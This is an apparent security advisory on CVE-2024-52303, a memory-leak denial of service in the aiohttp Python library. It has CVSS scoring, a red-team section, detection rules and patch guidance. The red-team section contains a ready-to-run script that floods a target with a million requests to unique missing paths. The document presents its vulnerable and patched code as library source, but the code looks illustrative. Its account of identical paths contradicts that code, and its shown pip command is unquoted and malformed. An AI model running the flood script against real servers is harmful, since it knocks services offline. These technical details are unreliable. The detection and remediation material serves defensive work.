CVE-2024-52303

Executive Summary

CVE-2024-52303 is a high-severity memory leak vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw affects versions 3.10.6 through 3.10.10. An attacker can exploit this by sending a large number of requests that result in a MatchInfoError. Each such request creates a unique cache entry that is never released, leading to progressive memory exhaustion. This can cause a Denial of Service (DoS) condition on the server, potentially crashing the application or making it unresponsive.

Supply Chain & Package Security

This vulnerability is in the PyPI package aiohttp. Organizations using aiohttp in their Python applications should immediately audit their dependency trees. The vulnerable versions are widely used in web services, microservices, and API gateways. An attacker targeting the supply chain could exploit this to cause widespread service disruption. Ensure that all environments (development, staging, production) are updated to the patched version 3.10.11.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is High due to the low complexity of exploitation and the potential for significant service disruption. No authentication is required, making it easily exploitable by remote attackers.

Deep Dive & Mechanics

The vulnerability resides in the aiohttp.web module's URL routing mechanism. When a request is made that does not match any defined route, the framework generates a MatchInfoError. The error handling code incorrectly caches the result of the route matching process. Because each MatchInfoError is unique (due to differing request details), a new cache entry is created for every such request. Over time, these entries accumulate in memory and are never garbage collected, leading to a memory leak.

The core issue is in the UrlDispatcher class, specifically in the resolve method. When a route is not found, the code creates a MatchInfoError object and stores it in a cache dictionary. The cache key is derived from the request path and method, but the error object itself is unique per request. This design flaw means that an attacker can send a large number of requests with different (or even identical) invalid paths, and each will create a new cache entry.

An attacker can exploit this by sending a high volume of requests to non-existent endpoints. For example, sending 100,000 requests to /nonexistent1, /nonexistent2, etc., will cause the server's memory to grow linearly. With millions of requests, the server can exhaust its available memory, leading to a crash or severe performance degradation.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp 3.10.6 - 3.10.10):

# In aiohttp/web_urldispatcher.py
class UrlDispatcher:
    def resolve(self, request):
        # ... route matching logic ...
        if not match:
            # Vulnerable: creates a new cache entry for each MatchInfoError
            self._cache[request.method + request.path] = MatchInfoError(HTTPNotFound())
            return self._cache[request.method + request.path]
        # ...

Patched Code (aiohttp 3.10.11):

# In aiohttp/web_urldispatcher.py
class UrlDispatcher:
    def resolve(self, request):
        # ... route matching logic ...
        if not match:
            # Patched: returns a new MatchInfoError without caching
            return MatchInfoError(HTTPNotFound())
        # ...

The fix removes the caching of MatchInfoError objects. Instead, a new error object is created and returned each time, which is then properly garbage collected after the response is sent.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Exhaust server memory to cause a Denial of Service.

Prerequisites:

• Target running aiohttp 3.10.6 to 3.10.10.
• Network access to the target.

Exploitation Steps:

1. Identify Target: Scan for aiohttp servers (e.g., using Shodan or banner grabbing).
2. Craft Malicious Requests: Send a large number of HTTP requests to non-existent endpoints. Use a tool like curl, wget, or a custom Python script.

Example Python Exploit Script:

import asyncio
import aiohttp

async def send_requests(target, count):
    async with aiohttp.ClientSession() as session:
        for i in range(count):
            # Use a unique path to ensure each request creates a new cache entry
            url = f"http://{target}/nonexistent_{i}"
            try:
                async with session.get(url) as response:
                    pass
            except:
                pass

async def main():
    target = "192.168.1.100:8080"
    # Send 1,000,000 requests to exhaust memory
    await send_requests(target, 1000000)

if __name__ == "__main__":
    asyncio.run(main())

Expected Outcome: The server's memory usage will increase linearly with each request. After a sufficient number of requests, the server will become unresponsive or crash.

Blue Team (Defender)

Detection:

• Monitor memory usage on aiohttp servers. A steady increase in memory without a corresponding increase in legitimate traffic is a strong indicator.
• Look for a high volume of 404 responses to non-existent endpoints.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade aiohttp to version 3.10.11 or later.
• Implement rate limiting to restrict the number of requests from a single IP address.
• Use a Web Application Firewall (WAF) to block requests to non-existent paths if they exceed a threshold.
• Monitor logs for patterns of repeated requests to invalid URLs.

Indicators of Compromise (IOCs)

• Network Traffic:
  • High volume of HTTP requests to non-existent endpoints (e.g., /nonexistent_*).
  • Repeated 404 responses from the server.
• System Metrics:
  • Unusual increase in memory usage of the aiohttp process.
  • Server crashes or out-of-memory (OOM) killer events.
• Logs:
  • Log entries showing MatchInfoError or HTTPNotFound for many different paths.
  • Error logs indicating memory allocation failures.

Detection Engineering

YARA Rule

rule CVE_2024_52303_Memory_Leak {
    meta:
        description = "Detects aiohttp versions vulnerable to CVE-2024-52303 memory leak"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52303"
    strings:
        $vuln_code = "self._cache[request.method + request.path] = MatchInfoError"
        $patch_code = "return MatchInfoError(HTTPNotFound())"
    condition:
        $vuln_code and not $patch_code
}

Sigma Rule

title: CVE-2024-52303 - aiohttp Memory Leak Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of 404 requests to non-existent endpoints, indicating exploitation of CVE-2024-52303.
author: Valters IT
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        status_code: 404
        path|startswith: '/nonexistent_'
    condition: selection | count() > 1000 by src_ip within 1m
falsepositives:
    - Legitimate web crawlers or scanners
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52303 - aiohttp Memory Leak Exploitation"; flow:to_server; http.method; content:"GET"; http.uri; content:"/nonexistent_"; pcre:"/\/nonexistent_\d+/"; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade aiohttp: Update to version 3.10.11 or later. Use the following command:

   pip install aiohttp>=3.10.11
   

2. Restart Services: After upgrading, restart all aiohttp-based services to ensure the patched code is loaded.

Long-Term Mitigations:

• Rate Limiting: Implement rate limiting at the application or infrastructure level to prevent abuse.
• Memory Monitoring: Set up alerts for unusual memory usage patterns.
• Web Application Firewall (WAF): Deploy a WAF to filter out malicious traffic.
• Regular Updates: Keep all dependencies up to date to protect against known vulnerabilities.

Workarounds (if patching is not immediately possible):

• Disable Caching: If possible, modify the aiohttp source code to disable caching of MatchInfoError objects (not recommended for production).
• Increase Memory Limits: Temporarily increase the memory limits of the server to buy time for patching.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert